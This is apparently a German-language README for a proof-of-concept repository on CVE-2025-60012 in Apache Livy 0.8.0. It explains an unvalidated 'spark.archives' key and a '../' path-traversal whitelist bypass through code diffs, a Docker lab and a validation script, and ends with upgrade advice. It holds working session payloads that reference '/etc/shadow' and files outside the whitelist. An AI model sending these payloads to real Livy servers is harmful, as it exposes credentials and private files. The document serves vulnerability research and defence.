| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## Exakte Code-Diffs

Diffs wurden erzeugt, indem beide Tags lokal geklont wurden (siehe oben) und folgender Befehl ausgeführt wurde:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

**Auswirkungen des fehlenden Eintrags in v0.8.0:**
Wenn ein Benutzer eine Sitzung mit `conf: {"spark.archives": "file:///etc/passwd"}` einreicht, ruft Livy 0.8.0 niemals `resolveURIs()` für diesen Wert auf und prüft ihn nie gegen `livy.file.local-dir-whitelist`. Der Pfad wird unvalidiert an Spark weitergeleitet.

---

### Fix 2 — `Session.scala`: Pfadnormalisierung vor der Whitelist-Überprüfung```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (umgangen)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (blockiert)

## Angriffsvektor-Zusammenfassung```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

## Konzeptnachweis

### Übersicht```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

> **Hinweis:** Livy benötigt etwa 15–20 Sekunden, um nach `docker run` bereit zu sein.
> Alle nachfolgenden Schritte enthalten ein explizites `sleep 20` vor jedem API-Aufruf.

---

### Schritt 1 — Erstellen und Starten der anfälligen Umgebung (Livy 0.8.0 + Spark 3.1.3)

**Dateien:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — bindet an `0.0.0.0:8998`, lokaler Modus, whitelist = `/opt/safe-data`

**1a. Erstellen des Images:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

Erwartete Ausgabe:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

**Validieren — Container läuft:**```bash
docker ps --filter name=livy-vulnerable

**1c. Warten Sie, bis Livy gestartet ist, und überprüfen Sie dann die REST-API:**

> Livy benötigt ~15–20 Sekunden zur Initialisierung, bevor es Anfragen bedient.```bash
sleep 20
curl -s http://localhost:8998/sessions

---

**1d. Validieren Sie das Verzeichnislayout im Container:**

Bestätigen Sie, dass die in der Whitelist aufgeführte sichere Datei existiert:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Bestätigen Sie, dass die vertrauliche Zieldatei außerhalb der Whitelist existiert:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

---

### Schritt 2 — Validierung gegen die verwundbare Umgebung ausführen

> Der verwundbare Container aus Schritt 1 muss noch auf Port 8998 laufen.

**Was `test/validate.sh` testet:**

| # | Angriff | Payload-Schlüssel | Erwartetes Ergebnis auf Livy 0.8.0 |
|---|--------|-------------------|-------------------------------|
| 1 | `spark.archives` fehlt in `HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala` | `spark.archives` | HTTP 201 — Pfad unvalidiert akzeptiert |
| 2 | Pfad-Traversal via `String.startsWith()` in `Session.scala` | `spark.jars` mit `../`-Traversal | HTTP 201 — Traversal umgeht Whitelist |

**2a. Skript ausführen:**```bash
bash test/validate.sh

**2b. Stoppen und entfernen Sie den verwundbaren Container:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

Erwartete Ausgabe (leer — keine Zeilen):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

**Validieren — Bild wurde erstellt:**```bash
docker images cve-2025-60012-fixed

---

**3b. Starten Sie den Container:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

Erwartete Ausgabe:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

Erwartete Ausgabe:```json
{"from":0,"total":0,"sessions":[]}

> **Hinweis:** `validate.sh` funktioniert wie folgt:
> 1. Es fragt `GET /sessions` ab, bis Livy antwortet (bis zu 60 Sekunden), um die Bereitschaft des Servers zu bestätigen.
> 2. Für jeden Angriff sendet es eine `POST /sessions`-Anfrage über `curl` mit einem manipulierten `conf`-Payload, der auf eine Datei außerhalb der Whitelist (`/opt/sensitive/secret.txt`) abzielt.
> 3. Es liest den HTTP-Statuscode: **201** bedeutet, dass Livy den Pfad ohne Validierung akzeptiert hat (anfällig); **400** bedeutet, dass Livy ihn bei der Whitelist-Prüfung abgelehnt hat (behoben).
> 4. Wenn eine Sitzung erstellt wurde (HTTP 201), löscht das Skript sie sofort über `DELETE /sessions/{id}`, um den Server sauber zu halten.
> 5. Nach beiden Tests gibt es eine Zusammenfassung aus und beendet sich mit Code **1** (anfällig) oder **0** (behoben), was es für den Einsatz in automatisierten Pipelines geeignet macht.

**Erwartete Ausgabe:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

**Validieren — Container ist vollständig entfernt:**```bash
docker ps -a --filter name=livy-fixed

## Inference

CVE-2025-60012 zeigt, dass eine Schwachstelle nicht immer das Umgehen einer Sicherheitskontrolle erfordert – manchmal reicht es aus, einen Pfad zu finden, der von vornherein nie durch diese Kontrolle geleitet wurde.

Die Whitelist (`livy.file.local-dir-whitelist`) existierte sowohl in Livy 0.8.0 als auch 0.9.0 und war in beiden Umgebungen korrekt konfiguriert. Die Fehler lagen vorgelagert:

1. **Fehlende Registrierung (Angriff 1):** `spark.archives` wurde in Spark 3.1 als cluster-manager-agnostischer Ersatz für `spark.yarn.dist.archives` eingeführt. Livys interne Liste der Konfigurationsschlüssel, deren Pfade in die Whitelist-Prüfung eingespeist werden (`HARDCODED_SPARK_FILE_LISTS` in `LivyConf.scala`), wurde nie aktualisiert, um diesen aufzunehmen. Jeder über `spark.archives` übergebene Pfad wurde daher vollständig ungeprüft an Spark weitergeleitet. Die Whitelist wurde nie konsultiert.

2. **Logikfehler in der Prüfung selbst (Angriff 2):** Für Schlüssel, die registriert waren, verwendete der Whitelist-Vergleich in `Session.scala` Javas `String.startsWith()` auf dem rohen Pfad-String. Dies ist für Dateisystempfad-Vergleiche unzureichend, da es `..`-Traversierung nicht berücksichtigt. Ein Pfad wie `/opt/safe-data/../sensitive/secret.txt` erfüllt den String-Vergleich gegen den Whitelist-Eintrag `/opt/safe-data`, löst sich jedoch zu einem Speicherort vollständig außerhalb davon auf.

Zusammengenommen bedeuten diese beiden Schwächen, dass ein authentifizierter Benutzer – ohne besondere Berechtigungen über den Zugang zur Livy-REST- oder JDBC-Schnittstelle hinaus – beliebige lokale Dateien auf dem Livy-Server-Host referenzieren konnte. In einem gemeinsam genutzten Analysecluster bedeutet dies die potenzielle Offenlegung von Anmeldeinformationen, Schlüsseln, Konfigurationsdateien oder allen Daten, die der Livy-Prozessbenutzer lesen kann.

Der Fix in 0.9.0 ist minimal und gezielt: eine Zeile, die zu `HARDCODED_SPARK_FILE_LISTS` hinzugefügt wurde (Schließen der Registrierungslücke) und ein Aufruf von `Paths.get().normalize()` vor dem Whitelist-Vergleich (Schließen der Traversierungsbypass). Keine der Änderungen veränderte die Whitelist selbst, was bestätigt, dass die Whitelist nie das Problem war – das Problem war, dass der Code, der sie fütterte, unvollständig und ungenau war.

**Wichtigste Erkenntnis für Verteidiger:** Wenn Livy mit Spark 3.1 oder höher eingesetzt wird, ist das Upgrade auf Livy 0.9.0-incubating die einzige vollständige Abhilfe. Die Verschärfung von `livy.file.local-dir-whitelist` allein ist gegen Angriff 1 nicht ausreichend, da in verwundbaren Versionen über `spark.archives` übermittelte Pfade diese Prüfung vollständig umgehen.

## Referenzen

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- OSS-Sec-Offenlegung: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Apache-Mailingliste: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Apache Livy-Projekt: https://livy.apache.org/

## Danksagungen

- **Furue Hideyuki** — ursprünglicher Melder von CVE-2025-60012 an das Apache Security Team.
- **Apache Livy-Maintainer** — für die prompte Triage und gezielte Behebung in v0.9.0-incubating.
- **Apache Security Team** — für die Koordination des verantwortungsvollen Offenlegungsprozesses.
- **OSS-Sec-Community** — für den öffentlichen Offenlegungsfaden, der eine unabhängige Analyse ermöglichte.

## Mitwirken

Beiträge zur Verbesserung dieses PoC oder der Dokumentation sind willkommen! Bitte stellen Sie sicher, dass alle Beiträge:

- Praktiken der verantwortungsvollen Offenlegung befolgen
- Angemessene Haftungsausschlüsse enthalten
- Keinen böswilligen Code über die pädagogische Demonstration hinaus enthalten
- Den Fokus auf den pädagogischen Wert beibehalten

Um beizutragen, eröffnen Sie einen Pull-Request oder reichen Sie ein Issue ein, das die vorgeschlagene Änderung beschreibt.

## Lizenz

Dieses Projekt ist unter der [MIT-Lizenz](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE) lizenziert.

## Haftungsausschluss

Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Der Proof of Concept demonstriert die Schwachstellenmechanismen, um das Verständnis und defensive Maßnahmen zu fördern. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben.

## Tags

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`